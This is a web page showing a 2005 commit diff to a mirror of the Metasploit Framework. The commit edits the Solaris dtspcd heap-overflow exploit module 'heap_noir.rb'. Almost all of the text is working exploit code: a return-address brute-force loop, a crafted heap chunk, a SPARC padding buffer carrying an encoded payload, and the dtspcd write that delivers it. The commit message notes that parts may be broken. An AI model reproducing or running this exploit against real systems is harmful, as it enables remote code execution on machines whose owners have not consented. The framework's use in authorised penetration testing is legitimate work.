infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Mostly working, shellcode/encoder/nops may be busted 

git-svn-id: file:///home/svn/incoming/trunk@3275 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2005-12-30 06:17:48 +00:00
parent f7e0579a3c
commit 4b92b6aa48
1 changed files with 17 additions and 12 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

29
modules/exploits/solaris/dtspcd/heap_noir.rb
View File

@ -58,11 +58,11 @@ class Exploits::Solaris::Dtspcd::Heap_Noir < Msf::Exploit::Remote
return if not dtspcd_uname() return if not dtspcd_uname()
target['Rets'][4].each do |tjmp| target['Rets'][4].each do |tjmp|
rbase = target['Rets'][1] rbase = target['Rets'][1]
while (rbase < target['Rets'][2]) do while (rbase < target['Rets'][2]) do
print_status("Trying 0x%.8x 0x%.8x" % target['Rets'][0] + tjmp, rbase) print_status(sprintf("Trying 0x%.8x 0x%.8x...", target['Rets'][0] + tjmp, rbase))
attack(target['Rets'][0] + tjmp, rbase, payload.encoded) attack(target['Rets'][0] + tjmp, rbase, payload.encoded)
attack(target['Rets'][0] + tjmp, rbase + 4, payload.encoded) attack(target['Rets'][0] + tjmp, rbase + 4, payload.encoded)
rbase += target['Rets'][3] rbase += target['Rets'][3]
@ -93,7 +93,7 @@ class Exploits::Solaris::Dtspcd::Heap_Noir < Msf::Exploit::Remote
def chunk_create(retloc, retadd) def chunk_create(retloc, retadd)
"\x12\x12\x12\x12" + "\x12\x12\x12\x12" +
[retaddr].pack('N')+ [retadd].pack('N')+
"\x23\x23\x23\x23\xff\xff\xff\xff" + "\x23\x23\x23\x23\xff\xff\xff\xff" +
"\x34\x34\x34\x34\x45\x45\x45\x45" + "\x34\x34\x34\x34\x45\x45\x45\x45" +
"\x56\x56\x56\x56" + "\x56\x56\x56\x56" +
@ -104,15 +104,20 @@ class Exploits::Solaris::Dtspcd::Heap_Noir < Msf::Exploit::Remote
def attack(retloc, retadd, fcode) def attack(retloc, retadd, fcode)
spc_connect() spc_connect()
buf = ("\xa4\x1c\x40\x11\x20\xbf\xff\xff" * ((4096 - 8 - fcode.length) / 8)) + fcode begin
buf << "\x00\x00\x10\x3e\x00\x00\x00\x14" buf = ("\xa4\x1c\x40\x11\x20\xbf\xff\xff" * ((4096 - 8 - fcode.length) / 8)) + fcode
buf << "\x12\x12\x12\x12\xff\xff\xff\xff" buf << "\x00\x00\x10\x3e\x00\x00\x00\x14"
buf << "\x00\x00\x0f\xf4" buf << "\x12\x12\x12\x12\xff\xff\xff\xff"
buf << chunk_create(retloc, retadd) buf << "\x00\x00\x0f\xf4"
buf << "X" * ((0x103e - 8) - buf.length) buf << chunk_create(retloc, retadd)
buf << "X" * ((0x103e - 8) - buf.length)
spc_write(spc_register("", buf), 4)
sock.get_once(-1) spc_write(spc_register("", buf), 4)
sock.get_once(-1)
rescue EOFError
rescue => e
$stderr.puts "Error: #{e.to_s} #{e.class.to_s}"
end
end end